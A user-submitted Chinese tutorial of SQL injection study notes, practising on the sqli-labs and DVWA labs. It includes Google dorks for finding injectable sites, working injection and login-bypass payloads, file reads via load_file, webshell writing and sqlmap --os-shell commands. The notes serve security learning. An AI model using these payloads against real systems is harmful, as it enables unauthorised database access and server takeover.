sql注入学习笔记(sql注入实战教程)

网友投稿 732 2022-10-09


sql注入学习笔记(sql注入实战教程)

需找sql注入点1\无特定目标inurl:.php?id=

2\有特定目标:inurl:.php?id= site:target.com

3\工具爬取spider,对搜索引擎和目标网站的链接进行爬取

手工简单识别:and 1=1 / and 1=2and '1'='1 / and '1' = '2and 1 like 1 / and 1 like 2

工具识别:sqlmap -m filename (filename中保存检测目标)sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)

一、环境搭建1、安装wamp2、安装sqli-labs3、配置数据库信息编辑:db-creds.inc方法二使用docker部署docker search sqli-labs 查找sqli-labsdocker pull acgpiano/sqli-labs 拉取sqli-labsdocker images 查看本地已有的镜像docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs 运行sqli-dt 后台运行--name 将命名为sqli-p 将后台的80映射为本地的80--rm 在关闭dock后自动删除相应文件,以释放资源

SQL语言SQL 全称 结构化查询语言 StructuredQueryLanguage,最早是IBM开发的查询语言

sql语句select version;select id from jobs where id=1;select id from jobs where id=1 union select version();select id,location from jobs where id=1 union select 1,version(); union拼接的前后两条语句的字段需要一致,否则报错,前面是2个字段,所以后面也要为两个字段,所以加了1

代码$id=$_GET['id'];$sql="SELECT*FROM users WHERE id='$id' limit 0,1";limit 0,1 是从第0条返回1条记录注入UNION SELCET 1,version()#’单引号闭合掉参数#号代表注释掉后面的内容%23是一种编码代表了#

Mysql函数sqlmap -u “url”2、针对post表单1)使用python sqlmap -r “文件名” (将post请求保存成文件.txt)2) 使用python sqlmap -u “url” --data=“post参数”

mysql三种闭合方式无闭合符号‘“1 or 1=11’ or ‘1=11” or “1=1

注释符号闭合#--空格/ /

使用order by确定字段数利用二分法确定有多少个字段,当不报错说明存在几个字段1' order by 5 --空格1' order by 3 --空格

PHP中文件读取函数load_file()id=1' union select 1,load_file(c:\windows\win.ini')--

利用sql注入写入webshell写入步骤1 获取物理路径通过数据库异常报错获取物理路径2 上传写入webshell

一句话

--tables 查询表-D +数据库 在该数据库中查询表sqlmap.py -u "-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa --tables

利用sqlmap上传shell--OS-shellsqlmap.py -u "-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users -C "user,password" --os-shell

万能密码‘ --中间有空格where username='admin' and password='admin'sql语句变了where username='admin' --' and password = ''如果表中有admin的用户名则有返回数据

寻找SQL注入点无特定目标inurl:.php?id=有特定目标:inurl:.php?id= site:target.com工具爬取spider,对搜索引擎和目标网站的链接进行爬取

注入识别 手工简单识别 ' and 1=1 / and 1=2 and '1'='1 / and '1'='2 and 1 like 1 / and 1 like 2 工具识别: sqlmap -m fliename (fliename 中保存检测目标) sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试) 高级识别: 扩展识别广度和深度: sqlmap --level 增加测试级别,对header中相关参数也进行测试 sqlmap -r filename (filename中为网站请求数据) 利用工具提高识别效率: Burpsuite + Sqlamp burpsuite拦截所有浏览器访问提交的数据 burpsuite扩展插件,直接调用sqlmap进行测试 一些tip 可以在参数后键入 “*” 来确定想要测试的参数 可能出现注入的点:新闻、登录、搜索、留言。。。 使用limit group等


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:SQL语句
下一篇:java中lambda(函数式编程)一行解决foreach循环问题
相关文章

 发表评论

暂时没有评论,来抢沙发吧~